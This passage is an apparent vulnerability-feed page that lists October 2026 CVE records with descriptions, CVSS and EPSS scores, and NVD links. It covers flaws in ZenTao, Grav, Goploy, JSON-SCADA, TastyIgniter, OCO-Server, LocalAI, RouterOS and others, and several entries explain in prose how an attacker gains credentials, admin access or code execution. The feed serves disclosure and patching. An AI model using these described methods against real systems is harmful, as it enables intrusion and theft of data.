NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114123&date=2026-10-25
D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata. Prior to version 1.11.0, the officially documented Azure one-click deployment uses infrastructure/azuredeploy.json and infrastructure/main.bicep to default the apiKey parameter to an empty string and pass it to the App Service API_KEY setting. With API_KEY unset or empty, src/middleware/apiKeyAuth.ts passes requests through without authentication, while src/index.ts binds the HTTP listener to 0.0.0.0 by default. If the deployer leaves the optional key blank and does not add separate network restrictions or upstream authentication, the resulting public App Service allows unauthenticated JSON-RPC tools/call requests to /mcp. The deployment's MCP_SERVER_MODE=read-only setting does not prevent anonymous access to read/search tools, including search, get_object_info, batch_get_info, extension_info, security_info, find_references, and find_event_handlers, exposing indexed proprietary X++ source snippets and metadata. Exposed information can include business logic, extension and event-handler wiring, security-role and privilege structure, and labels originally indexed from PackagesLocalDirectory. Deployments protected by a configured API key, effective upstream authentication, or network restrictions preventing attacker access are outside this unauthenticated exposure scenario. This issue is fixed in version 1.11.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZenTao PMS before 22.3 contains an authorization bypass vulnerability in commonModel::isOpenMethod() that lets logged-in users skip group-based ACL checks for any method...
https://kevwire.com/record/CVE-2026-114391
ZenTao PMS before 22.3 contains an authorization bypass vulnerability in commonModel::isOpenMethod() that lets logged-in users skip group-based ACL checks for any method... (Oct 21, 2026).
ZenTao PMS before 22.3 contains an authorization bypass vulnerability in commonModel::isOpenMethod() that lets logged-in users skip group-based ACL checks for any method containing 'ajax'. Minimal-privilege users can call methods like task.ajaxGetByID, system.ajaxDBAuthUrl and admin.ajaxChangeTableEngine to read data, obtain database credentials, trigger CI jobs and alter tables.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114391).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114391&date=2026-10-25).
Sources:
NVD CVE-2026-114391: https://nvd.nist.gov/vuln/detail/CVE-2026-114391
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114391&date=2026-10-25
ZenTao PMS before 22.3 contains an authorization bypass vulnerability in commonModel::isOpenMethod() that lets logged-in users skip group-based ACL checks for any method containing 'ajax'. Minimal-privilege users can call methods like task.ajaxGetByID, system.ajaxDBAuthUrl and admin.ajaxChangeTableEngine to read data, obtain database credentials, trigger CI jobs and alter tables.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dnspython is a DNS toolkit for Python.
https://kevwire.com/record/CVE-2026-114605
dnspython is a DNS toolkit for Python. (Oct 22, 2026).
dnspython is a DNS toolkit for Python. Prior to 2.9.0, dns.name.from_wire_parser follows attacker-controlled DNS compression pointer chains without a hop limit. A malicious DNS wire-format message can force excessive pointer traversal during name decompression, causing high CPU use, application degradation, or denial of service in applications that process untrusted DNS messages. This issue is fixed in version 2.9.0.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114605).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114605&date=2026-10-25).
Sources:
NVD CVE-2026-114605: https://nvd.nist.gov/vuln/detail/CVE-2026-114605
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114605&date=2026-10-25
dnspython is a DNS toolkit for Python. Prior to 2.9.0, dns.name.from_wire_parser follows attacker-controlled DNS compression pointer chains without a hop limit. A malicious DNS wire-format message can force excessive pointer traversal during name decompression, causing high CPU use, application degradation, or denial of service in applications that process untrusted DNS messages. This issue is fixed in version 2.9.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts.
https://kevwire.com/record/CVE-2026-114658
Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts. (Oct 22, 2026).
Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts. Attackers can define an invitation form granting super access in page frontmatter, submit it unauthenticated, and register the invited address for full site control.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114658).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114658&date=2026-10-25).
Sources:
NVD CVE-2026-114658: https://nvd.nist.gov/vuln/detail/CVE-2026-114658
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114658&date=2026-10-25
Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts. Attackers can define an invitation form granting super access in page frontmatter, submit it unauthenticated, and register the invited address for full site control.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Goploy 1.18.0 before 1.18.1 contains a link following vulnerability in the /deploy/fileDiff and /deploy/fileCompare endpoints that allows authenticated members to read arbitrary...
https://kevwire.com/record/CVE-2026-114665
Goploy 1.18.0 before 1.18.1 contains a link following vulnerability in the /deploy/fileDiff and /deploy/fileCompare endpoints that allows authenticated members to read arbitrary... (Oct 22, 2026).
Goploy 1.18.0 before 1.18.1 contains a link following vulnerability in the /deploy/fileDiff and /deploy/fileCompare endpoints that allows authenticated members to read arbitrary files. Attackers with repository write access can commit a symlink pointing outside the project directory to read database configuration and deployment SSH private keys.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114665).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114665&date=2026-10-25).
Sources:
NVD CVE-2026-114665: https://nvd.nist.gov/vuln/detail/CVE-2026-114665
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114665&date=2026-10-25
Goploy 1.18.0 before 1.18.1 contains a link following vulnerability in the /deploy/fileDiff and /deploy/fileCompare endpoints that allows authenticated members to read arbitrary files. Attackers with repository write access can commit a symlink pointing outside the project directory to read database configuration and deployment SSH private keys.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JSON-SCADA before 0.65-alpha contains an sql injection vulnerability in opcApi() in src/server_realtime_auth/index.js that allows authenticated users to inject SQL via...
https://kevwire.com/record/CVE-2026-115328
JSON-SCADA before 0.65-alpha contains an sql injection vulnerability in opcApi() in src/server_realtime_auth/index.js that allows authenticated users to inject SQL via... (Oct 22, 2026).
JSON-SCADA before 0.65-alpha contains an sql injection vulnerability in opcApi() in src/server_realtime_auth/index.js that allows authenticated users to inject SQL via HistoryReadRequest parameters. Attackers can inject stacked statements through NodeId.Id, StartTime, or EndTime values to read, modify, or delete historian data across all locations regardless of role.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115328).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115328&date=2026-10-25).
Sources:
NVD CVE-2026-115328: https://nvd.nist.gov/vuln/detail/CVE-2026-115328
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115328&date=2026-10-25
JSON-SCADA before 0.65-alpha contains an sql injection vulnerability in opcApi() in src/server_realtime_auth/index.js that allows authenticated users to inject SQL via HistoryReadRequest parameters. Attackers can inject stacked statements through NodeId.Id, StartTime, or EndTime values to read, modify, or delete historian data across all locations regardless of role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text...
https://kevwire.com/record/CVE-2026-115416
Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text... (Oct 22, 2026).
Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text query metadata from other AWS accounts. Query results, and data stored in Amazon S3 or other data sources, were not accessible through this issue.



AWS remediated the issue on October 7, 2026. No customer action is required.
CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115416).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115416&date=2026-10-25).
Sources:
NVD CVE-2026-115416: https://nvd.nist.gov/vuln/detail/CVE-2026-115416
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115416&date=2026-10-25
Incorrect authorization checks in Amazon Athena engine version 3 query processing could have allowed an authenticated user to read AWS account identifiers and SQL statement text query metadata from other AWS accounts. Query results, and data stored in Amazon S3 or other data sources, were not accessible through this issue.



AWS remediated the issue on October 7, 2026. No customer action is required.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TastyIgniter through 4.4.5 contain a PHP object injection vulnerability that allows authenticated administrators to achieve arbitrary code execution by submitting a serialized PHP...
https://kevwire.com/record/CVE-2026-29001
TastyIgniter through 4.4.5 contain a PHP object injection vulnerability that allows authenticated administrators to achieve arbitrary code execution by submitting a serialized PHP... (Oct 21, 2026).
TastyIgniter through 4.4.5 contain a PHP object injection vulnerability that allows authenticated administrators to achieve arbitrary code execution by submitting a serialized PHP object as a settings value, which is stored unsanitized and later unserialized by getValueAttribute() when the setting is read. Attackers can submit a serialized gadget chain, such as one generated via phpggc, through the admin settings form (for example the maintenance_message setting loaded by CheckMaintenance.php) to achieve arbitrary operating-system command execution as the PHP application process user, with the impact persisting until the value is overwritten.
CVSS 8.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-29001).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-29001&date=2026-10-25).
Sources:
NVD CVE-2026-29001: https://nvd.nist.gov/vuln/detail/CVE-2026-29001
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-29001&date=2026-10-25
TastyIgniter through 4.4.5 contain a PHP object injection vulnerability that allows authenticated administrators to achieve arbitrary code execution by submitting a serialized PHP object as a settings value, which is stored unsanitized and later unserialized by getValueAttribute() when the setting is read. Attackers can submit a serialized gadget chain, such as one generated via phpggc, through the admin settings form (for example the maintenance_message setting loaded by CheckMaintenance.php) to achieve arbitrary operating-system command execution as the PHP application process user, with the impact persisting until the value is overwritten.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management.
https://kevwire.com/record/CVE-2026-61791
OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. (Oct 22, 2026).
OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.1, `Html::commandButton()` in `lib/Html.class.php` embeds an action URL containing a stored computer hostname into a JavaScript string in an inline `onclick` handler, using `htmlspecialchars(ENT_QUOTES)` only for HTML escaping. Browsers decode the HTML entities before interpreting the handler as JavaScript, allowing a crafted hostname to escape the string and execute script in an administrator's authenticated session when an affected command button is activated. `frontend/views/computer-details.php` passes `$computer->hostname` to this helper using `Computer::DEFAULT_COMPUTER_COMMANDS` in `lib/Models/Computer.class.php`, whose VNC, RDP, SSH, and Ping entries use `new_tab=false` and the vulnerable `window.location` branch. A remote attacker who possesses the shared `agent-registration-key` can use the `oco.agent.hello` handler in `frontend/api-agent.php` to store an unchecked hostname when `agent-self-registration-enabled` is enabled; self-registration is disabled by default. The vulnerable default command buttons require no custom command configuration. The injected script can abuse the administrator's privileges, including permission to deploy software jobs to managed computers. This issue is fixed in version 1.2.1.
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61791).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61791&date=2026-10-25).
Sources:
NVD CVE-2026-61791: https://nvd.nist.gov/vuln/detail/CVE-2026-61791
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61791&date=2026-10-25
OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.1, `Html::commandButton()` in `lib/Html.class.php` embeds an action URL containing a stored computer hostname into a JavaScript string in an inline `onclick` handler, using `htmlspecialchars(ENT_QUOTES)` only for HTML escaping. Browsers decode the HTML entities before interpreting the handler as JavaScript, allowing a crafted hostname to escape the string and execute script in an administrator's authenticated session when an affected command button is activated. `frontend/views/computer-details.php` passes `$computer->hostname` to this helper using `Computer::DEFAULT_COMPUTER_COMMANDS` in `lib/Models/Computer.class.php`, whose VNC, RDP, SSH, and Ping entries use `new_tab=false` and the vulnerable `window.location` branch. A remote attacker who possesses the shared `agent-registration-key` can use the `oco.agent.hello` handler in `frontend/api-agent.php` to store an unchecked hostname when `agent-self-registration-enabled` is enabled; self-registration is disabled by default. The vulnerable default command buttons require no custom command configuration. The injected script can abuse the administrator's privileges, including permission to deploy software jobs to managed computers. This issue is fixed in version 1.2.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds
Write”, Classic
Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access....
https://kevwire.com/record/CVE-2026-97631
EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds
Write”, Classic
Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access.... (Oct 22, 2026).
EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds
Write”, Classic
Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability
can lead to arbitrary
code execution. It could also impact
Confidentiality,
Integrity,
and Availability.
CVSS 9.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97631).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97631&date=2026-10-25).
Sources:
NVD CVE-2026-97631: https://nvd.nist.gov/vuln/detail/CVE-2026-97631
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97631&date=2026-10-25
EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds
Write”, Classic
Buffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability
can lead to arbitrary
code execution. It could also impact
Confidentiality,
Integrity,
and Availability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Astral uv before 0.8.22 contains a path traversal vulnerability in source distribution (sdist) tar extraction that allows a specially crafted sequence of symlinks to redirect file...
https://kevwire.com/record/CVE-2025-71437
Astral uv before 0.8.22 contains a path traversal vulnerability in source distribution (sdist) tar extraction that allows a specially crafted sequence of symlinks to redirect file... (Oct 21, 2026).
Astral uv before 0.8.22 contains a path traversal vulnerability in source distribution (sdist) tar extraction that allows a specially crafted sequence of symlinks to redirect file writes outside the intended extraction prefix. Attackers can publish a malicious sdist that, when installed by a victim, writes arbitrary files to filesystem locations outside the installation prefix.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-71437).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-71437&date=2026-10-25).
Sources:
NVD CVE-2025-71437: https://nvd.nist.gov/vuln/detail/CVE-2025-71437
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-71437&date=2026-10-25
Astral uv before 0.8.22 contains a path traversal vulnerability in source distribution (sdist) tar extraction that allows a specially crafted sequence of symlinks to redirect file writes outside the intended extraction prefix. Attackers can publish a malicious sdist that, when installed by a victim, writes arbitrary files to filesystem locations outside the installation prefix.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev cli-v3 from 3.0.0 before 4.5.4 contains a missing authentication vulnerability in the trigger dev --mcp server, which binds all network interfaces and exposes the /sse...
https://kevwire.com/record/CVE-2026-114090
Trigger.dev cli-v3 from 3.0.0 before 4.5.4 contains a missing authentication vulnerability in the trigger dev --mcp server, which binds all network interfaces and exposes the /sse... (Oct 21, 2026).
Trigger.dev cli-v3 from 3.0.0 before 4.5.4 contains a missing authentication vulnerability in the trigger dev --mcp server, which binds all network interfaces and exposes the /sse and /messages endpoints. LAN attackers or malicious web pages can send MCP tools/call requests to invoke trigger-task, cancel-run, list-runs, and get-run-logs using the developer's stored access token.
CVSS 7.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114090).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114090&date=2026-10-25).
Sources:
NVD CVE-2026-114090: https://nvd.nist.gov/vuln/detail/CVE-2026-114090
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114090&date=2026-10-25
Trigger.dev cli-v3 from 3.0.0 before 4.5.4 contains a missing authentication vulnerability in the trigger dev --mcp server, which binds all network interfaces and exposes the /sse and /messages endpoints. LAN attackers or malicious web pages can send MCP tools/call requests to invoke trigger-task, cancel-run, list-runs, and get-run-logs using the developer's stored access token.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### sharp before 0.35.5 bundles a librsvg dependency affected by a memory-related vulnerability (CVE-2026-96889) that, under certain runtime-specific conditions, can lead to code...
https://kevwire.com/record/CVE-2026-114111
sharp before 0.35.5 bundles a librsvg dependency affected by a memory-related vulnerability (CVE-2026-96889) that, under certain runtime-specific conditions, can lead to code... (Oct 21, 2026).
sharp before 0.35.5 bundles a librsvg dependency affected by a memory-related vulnerability (CVE-2026-96889) that, under certain runtime-specific conditions, can lead to code execution on glibc-based Linux. An attacker can supply a crafted SVG image that, when decoded by sharp through librsvg, may result in arbitrary code execution.
CVSS 8.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114111).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114111&date=2026-10-25).
Sources:
NVD CVE-2026-114111: https://nvd.nist.gov/vuln/detail/CVE-2026-114111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114111&date=2026-10-25
sharp before 0.35.5 bundles a librsvg dependency affected by a memory-related vulnerability (CVE-2026-96889) that, under certain runtime-specific conditions, can lead to code execution on glibc-based Linux. An attacker can supply a crafted SVG image that, when decoded by sharp through librsvg, may result in arbitrary code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sharp before 0.35.0 bundles a version of libvips affected by multiple vulnerabilities (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591 and CVE-2026-69242) in its...
https://kevwire.com/record/CVE-2026-114113
Sharp before 0.35.0 bundles a version of libvips affected by multiple vulnerabilities (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591 and CVE-2026-69242) in its... (Oct 21, 2026).
Sharp before 0.35.0 bundles a version of libvips affected by multiple vulnerabilities (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591 and CVE-2026-69242) in its GIF, TIFF and VIPS image decoders. Attackers can supply crafted GIF, TIFF or VIPS files to applications using sharp to process untrusted input, triggering these libvips flaws.
CVSS 8.4 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114113).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114113&date=2026-10-25).
Sources:
NVD CVE-2026-114113: https://nvd.nist.gov/vuln/detail/CVE-2026-114113
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114113&date=2026-10-25
Sharp before 0.35.0 bundles a version of libvips affected by multiple vulnerabilities (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591 and CVE-2026-69242) in its GIF, TIFF and VIPS image decoders. Attackers can supply crafted GIF, TIFF or VIPS files to applications using sharp to process untrusted input, triggering these libvips flaws.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PHPOffice PHPPresentation through 1.2.0 contains an insecure deserialization vulnerability that allows attackers to instantiate arbitrary PHP objects by supplying a crafted...
https://kevwire.com/record/CVE-2026-114403
PHPOffice PHPPresentation through 1.2.0 contains an insecure deserialization vulnerability that allows attackers to instantiate arbitrary PHP objects by supplying a crafted... (Oct 21, 2026).
PHPOffice PHPPresentation through 1.2.0 contains an insecure deserialization vulnerability that allows attackers to instantiate arbitrary PHP objects by supplying a crafted presentation file. Attackers can upload a ZIP containing PhpPresentation.xml that IOFactory::load passes to unserialize(), enabling gadget-chain code execution, file writes, or denial of service.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114403).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114403&date=2026-10-25).
Sources:
NVD CVE-2026-114403: https://nvd.nist.gov/vuln/detail/CVE-2026-114403
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114403&date=2026-10-25
PHPOffice PHPPresentation through 1.2.0 contains an insecure deserialization vulnerability that allows attackers to instantiate arbitrary PHP objects by supplying a crafted presentation file. Attackers can upload a ZIP containing PhpPresentation.xml that IOFactory::load passes to unserialize(), enabling gadget-chain code execution, file writes, or denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LocalAI v4.6.0 through v4.11.0 contains a server-side request forgery vulnerability in core/gallery/gallery.go that validates only the initial gallery config URL.
https://kevwire.com/record/CVE-2026-114493
LocalAI v4.6.0 through v4.11.0 contains a server-side request forgery vulnerability in core/gallery/gallery.go that validates only the initial gallery config URL. (Oct 21, 2026).
LocalAI v4.6.0 through v4.11.0 contains a server-side request forgery vulnerability in core/gallery/gallery.go that validates only the initial gallery config URL. Attackers can submit a config URL through POST /models/apply that redirects to internal or cloud metadata addresses, receiving those internal responses as gallery content.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114493).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114493&date=2026-10-25).
Sources:
NVD CVE-2026-114493: https://nvd.nist.gov/vuln/detail/CVE-2026-114493
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114493&date=2026-10-25
LocalAI v4.6.0 through v4.11.0 contains a server-side request forgery vulnerability in core/gallery/gallery.go that validates only the initial gallery config URL. Attackers can submit a config URL through POST /models/apply that redirects to internal or cloud metadata addresses, receiving those internal responses as gallery content.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MikroTik RouterOS through 7.24.5 contains a session token replay vulnerability in the WebFig interface that allows attackers to bypass authentication by replaying captured session...
https://kevwire.com/record/CVE-2026-89035
MikroTik RouterOS through 7.24.5 contains a session token replay vulnerability in the WebFig interface that allows attackers to bypass authentication by replaying captured session... (Oct 21, 2026).
MikroTik RouterOS through 7.24.5 contains a session token replay vulnerability in the WebFig interface that allows attackers to bypass authentication by replaying captured session tokens across new ECDH sessions. The makeSessionKey function in libucrypto.so generates tokens using fixed salts without incorporating channel-specific or session-specific input, and the user service validates tokens against the login store without verifying channel context, enabling stolen tokens to grant persistent administrative access until the token store is explicitly cleared. This vulnerability extends the impact of CVE-2025-61481, which identified the underlying transport-layer exposure without a corresponding fix.
CVSS 9.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89035).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89035&date=2026-10-25).
Sources:
NVD CVE-2026-89035: https://nvd.nist.gov/vuln/detail/CVE-2026-89035
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89035&date=2026-10-25
